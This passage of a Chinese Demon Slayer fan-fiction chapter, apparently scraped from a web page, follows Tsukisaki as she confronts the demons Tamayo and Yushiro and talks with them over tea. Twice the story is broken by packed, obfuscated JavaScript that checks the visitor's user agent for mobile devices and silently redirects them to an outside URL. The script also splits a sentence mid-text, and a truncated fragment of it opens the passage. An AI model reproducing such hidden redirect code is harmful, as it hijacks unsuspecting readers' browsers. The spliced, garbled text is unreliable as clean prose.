l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015747|192282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >抬手闻了闻袖口,没有呀。 涮锅时她把围巾斗篷收好、头发也包了起来,又在马车上散了味,此刻几乎嗅不出来了。 要说藤花月咲身上唯一有味道的,就是系在腰带上的紫藤花香包了。 二十分钟后,电车即将进站的铃声响起,候车室内的人纷纷起身前往站台。 一个鬼鬼祟祟的男人压低帽檐,大步上前故意用力撞了少年一下,嘴里说着“抱歉抱歉”,但手摸进了对方的口袋。 他是这一带的惯偷,原本盯上的是那个提了两个皮箱、穿着不错的少女,可这两个人一进来便立马换了目标。 这俩一看就更有钱,又是小孩和女人,最容易下手了。 结果出师不利,还没摸到什么,手腕就被少年一把扣住,“竟敢对我们下手,你是不是图谋不轨?!”要不是他走快一步,这家伙就要撞到珠世小姐了! 后者的力气简直比成年人还大,也许是愤怒的关系,眼眸中的竖瞳格外明显,令人不禁毛骨悚然。 男人没来由地心里发毛,惯偷的第六感让他觉得很危险,却完全挣脱不开。 眼见那个拎着皮箱的少女路过,男人心生一计,一把抓向对方的围巾,想把她甩到少年身上,以此逃脱。 藤花月咲后退躲开,伸腿一踢,把男人绊倒在地,顺便帮忙喊来车站巡警。 男人被巡警带走,藤花月咲寻找那两人的身影,分明没看到他们上车,可是人不见了。 奇怪。 电车到站、关门、开走,藤花月咲并没有上这班车,而是慢吞吞地在站台转了一圈。 最后停在一面砖墙前。 直觉告诉她,就在这里。 但这只是一堵墙而已啊,难道后面有密室? 藤花月咲放下皮箱,伸手,指尖轻触凹凸不平的墙面,想要试试是否存在机关,推理小说里不是经常有这种情节么。 她从与自己视线平行的位置,一点一点往下试探,伏下肩膀将脸略微凑近观察。 在她的视角中,这个姿势毫无问题。可在别人眼中,问题就大了。 因为察觉藤花月咲一直在偷瞄他们,尽管她没有猎鬼人的气息,可随身带着让鬼害怕的紫藤花香包,或许是跟鬼杀队有关的人,所以还是让身为鬼的珠世和愈史郎警觉。 愈史郎使用血鬼术,两人都贴上了画有眼睛的符咒,隐身藏在隐蔽地方,等少女离开再坐下一班车。 没想到对方居然一路寻了过来,她站定在两人面前时,愈史郎差点以为自己的血鬼术失效了! 他想带着珠世大人悄悄移动,藤花月咲啪一下,伸手按在墙上,横臂挡住了珠世的去路。 愈史郎不知道这个姿势在未来叫壁咚,但他下意识觉得好气! 更过分的是,这女人甚至得寸进尺,手一点点往下挪靠近珠世大人的腰,把脸贴得越来越近! 这是在干什么?!珠世大人是你这种人能够亵渎的吗?!快把你那张丑脸给我滚远点啊啊啊! 愈史郎在一旁目眦欲裂,整个鬼扭曲得快要变形,双手悬在对方脖颈上,就差掐下去了。 藤花月咲蓦然觉得脖子凉飕飕的,有阵阴风吹过。 嗯? 围巾漏风了? 29.第二十九章 藤花月咲拢了拢围巾,确信那女子跟少年就在附近,鼻尖萦绕着对方身上独特的香气。 她环顾四周,空空如也。 一回头,那个被放在地上的皮箱骤然凭空悬浮起来,径直朝电车停靠点飞了过去。 愈史郎:看我把你的箱子扔进轨道,快给我离珠世大人远远的! 藤花月咲惊呆了,不仅是亲眼目睹了灵异事件的缘故,还因为皮箱里可都是珍贵的药品啊! 她想去追,可这个距离大概率追不上了。 况且,对方如此迫切地想要引开她,不正是说明这里有鬼么? 藤花月咲按捺住焦急,飞快在墙面摸索着,忽然手背碰到了什么东西,像是女式和服的细腻面料。 她一下攥住,从高度和形状判断,很有可能是肩膀部位。 “失礼了!” 藤花月咲大致判断了下对方的身形站姿,弯下腰,一只手紧握皮箱往前探勾住对方双腿,另一只手扣住肩膀,将那名隐身的女子公主抱了起来。 那人小巧又轻盈,抱着完全不算负担。 “喂——我要把这位女士带走了!”她冲远去的皮箱大喊。 皮箱在半空中一个急刹,随即以之前两倍的速度气势汹汹狂奔回来。 藤花月咲才不会乖乖在原地等着,小心地抱稳怀里的女子,挟持“人质”朝无人空地大步跑去——果然没白穿裤装,这下派上用场了吧。 皮箱在后头步步紧追:“快把珠世大人还回来!” 她头也不回,整张脸冒出围巾大口呼吸,步伐越来越轻快,“你先把皮箱还我!” “先放下珠世大人!” “你先放下皮箱!” “珠世大人!” “皮箱!” …… 最后,这场追逐战以珠世小姐自己摘下眼睛符纸、请求中止为结束。 藤花月咲将她放下,珠世也上前摘掉了愈史郎的符纸,女子和少年的身形完完全全地暴露在月光之下。 珠世看向少女:“如果不介意的话,我们找个地方坐下聊吧。” 他们来到一家还在营业中的喫茶店,进店后坐下,点了三杯红茶。 大厅中央放置着西洋式的大型铸铁暖炉,室内很暖和,客人们都脱下了外套。留声机缓慢地播放着古典音乐,为每一桌客人的谈话提供些许遮掩,又不会显得太吵闹扰人兴致。 三位放下座位旁的帘子阻隔他人视线,简单地互相交换了一下姓名,红茶便端上来了。 愈史郎使用血鬼术简单地布置了个障眼法,屏蔽了外界的干扰。 珠世举杯抿了一口红茶,轻声道:“藤花小姐,或许你已经猜到了,没错,我和愈史郎是鬼。” 藤花月咲点点头,也喝一口红茶解渴,鼻尖微微皱起。这应该是进口的印度红茶,苦涩感太重了点,香气不怎么突出。 她加了点白砂糖,继续边喝边看着对方说话。 “我曾经见过不少猎鬼人,他们的态度和你截然不同,”珠世倒是很能理解那些猎鬼人,毕竟鬼杀队就是为了杀鬼而存在的,“你也在为鬼杀队工作,看起来却半点不憎恨我们。” “要我毫无理由地去憎恨另一个人,确实有点难做到,”藤花月咲无视愈史郎犀利的目光,“更何况,你们其实完全可以不用现身,在车站站台直接杀掉我就行,这样能免去很多麻烦。但你们没有。” 从这点上看,这两位就与大多数吃人恶鬼有本质上的区别。 最重要的是,直觉告诉她,这两位不会伤害人。 珠世的表情柔和了一点。事实上,她也不太清楚为什么会情不自禁对面前的少女产生信赖,或许是对方明明知道她是鬼,抱起自己时却分外小心,仍然下意识带着尊重。 “同时,我也是一名医生,”她低声道,“……鬼舞辻无惨,我想消灭这个男人。” 藤花月咲第一次知道鬼王的名字,也从珠世这儿了解到了更多关于鬼的信息,比如,无惨能提取每一只鬼的记忆,普通的鬼叫出他的名字就会被诅咒反噬自爆。 再比如,珠世小姐因缘巧合摆脱了无惨的控制,并花费两百年只将愈史郎一人变为了鬼。 藤花月咲很有礼貌地没去询问女性的年龄,“珠世小姐是怎么摆脱鬼舞辻无惨的控制的呢?” “那是在战国时代,我跟在鬼舞辻身边时,遇到了一名非常强大的剑士,”珠世垂眸回忆,半张侧脸映在杯中,“那名剑士的刀法如同烈阳灼烧,轻易地看透了鬼舞辻的招数,将他的脑袋和手脚全部砍断,并一时无法再生。” “无法再生?”藤花月咲捕捉到这个关键点。鬼王的恢复能力绝对比普通的鬼强无数倍,却无法再生,那位剑士究竟用的是什么刀法? 珠世:“是的,后来鬼舞辻被逼得自爆成数千个肉块碎片逃脱,也因此变得无比虚弱,我正是在那时趁机完全脱离了他的控制。” 藤花月咲沉吟。这么看来,珠世小姐的经历基本无法复制,既然那名强大剑士生于战国时代,如今肯定早已逝世了。 她追问:“那名剑士使用的是什么呼吸法?有什么特征吗?” 那样强大的刀法肯定依托了呼吸法,要是有后人继承下来,或许能找到阻止鬼身体再生的方法。 珠世永远不会忘记那天发生的事,尽管过去了几百年,仍像昨日般历历在目。 是强烈的仇恨驱使她活到现在的,为此,她不会放过任何一个机会。 “……那名剑士使用的是日之呼吸,他的额头上有仿佛火焰的斑纹,戴着一对太阳花纹的花札耳饰,”珠世仔细描述,“他的日轮刀是黑色的。” 藤花月咲歪头思考,“日之呼吸,没听说过啊。” 珠世一直在躲避鬼杀队和鬼王,对呼吸法了解得不深,“据说从前有许多强大的剑士会自己创造衍生出新的呼吸法,最后因难度太高或适配太少而后继无人,导致失传。” 藤花月咲想到炎柱炼狱槙寿郎先生。既然炼狱家作为猎鬼人的历史悠长,连平安时代的医书都有收藏,说不定会对日之呼吸有所记载。 “我明白了,之后我会去寻找日之呼吸的下落,谢谢你告诉我这些。”她觉得,珠世小姐看起来就很有故事。 “对了,珠世小姐知道怎么能将鬼变回人吗?”她记起不死川夫人,“我有个朋友的母亲被变成了鬼,但她还没有吃过人。” 珠世很惊讶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028673|192282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她非常清楚刚完成鬼化的人会陷入怎样混乱又狂暴的状态,几乎不可能抑制吃人的欲.望,同样的也很难第一时间被阻止。 但眼前的少女做到了。 珠世的眉眼透露出淡淡的伤感。如果当初她的身边有这么一个人,她的丈夫和孩子是否就不会…… 愈史郎感受到珠世的悲伤,立刻狠狠瞪着藤花月咲。 他从车站就看这个女人不爽了,居然还让珠世大人那么伤心。要不是有桌子挡着限制发挥,早就捂住对方的嘴不准她乱说话了。 珠世很快收拾好自己的心情。 比起不死川夫人变鬼,她更诧异的是鬼杀队这任主公竟能容忍并庇护一只鬼,哪怕对方还没来得及吃人。 这位聪明的女医师从这件简单的事中敏锐察觉,这一任产屋敷的心思比她想象的要更加深沉,可以为了消灭鬼舞辻无惨而不择手段,甚至于利用鬼。 “任何疾病都有治愈的手段和药物,将鬼变回人的药也一定会有,只是需要时间来研发,”珠世连自己都没意识到,她对面前少女的态度更友好了几分,“鬼不吃人也不会死亡,只是行动受限制,恢复力很弱。我和愈史郎也会摄入少量人血来维持力量,啊,是从手头紧的人那儿通过‘输血’买来的,不会对人体造成什么伤害,请放心。” 藤花月咲对此接受良好,献血买血什么的,未来很常见,她上大学时也献过血,是最高标准400毫升呢。 她想了想,伸出胳膊撩起袖子,“那么,要不要抽一点我的血?” 珠世吓了一跳,即便是愈史郎都露出难以理解的神情。 “当然,这不是在试探你们说的是真是假,不是怜悯,更不是开玩笑,”藤花月咲浅笑,“只是作为我相信你们的证明罢了。” “鬼舞辻无惨可以通过血液监视其他鬼,我们也能用血液来制造羁绊。” 珠世:“……” 半晌,她展开一点笑容,开口:“相当诱人的说法呢。” 当年,她就是听信了鬼舞辻无惨的诱惑,才接受对方的血变成了鬼。 如今,有人以不同的方式要给予她血液,却令她觉得很开心。 少女的血液,一定不会像鬼那样肮脏、污浊又恶臭吧。 “谢谢你,藤花小姐。” 愈史郎随身带着器材,抽血时,藤花月咲好奇:“每个人血液的味道会有所不同吗?如果爱吃的东西不一样,会不会有独特的风味?” 愈史郎:“还风味,你以为是咖啡和红茶么?!” 珠世给他顺毛:“大多数人血液的味道是差不多的,只有身体素质超出常人、或者稀血,才会更加吸引鬼。” “原来如此,”抽完血,藤花月咲按住针孔止血,“珠世小姐有想过和鬼杀队合作吗?既然想研究鬼的血液,单凭你们两个很难取到吧。” “……” 珠世沉思,“我还没想好。”毕竟这是件很危险的事。 “好,在你决定之前,我会保密的,如果你想好了,随时可以联系我。我也会请鬼杀队的朋友试着弄一些强大的鬼血。”藤花月咲见血止住了,把剩下的红茶喝完。 “合作愉快。”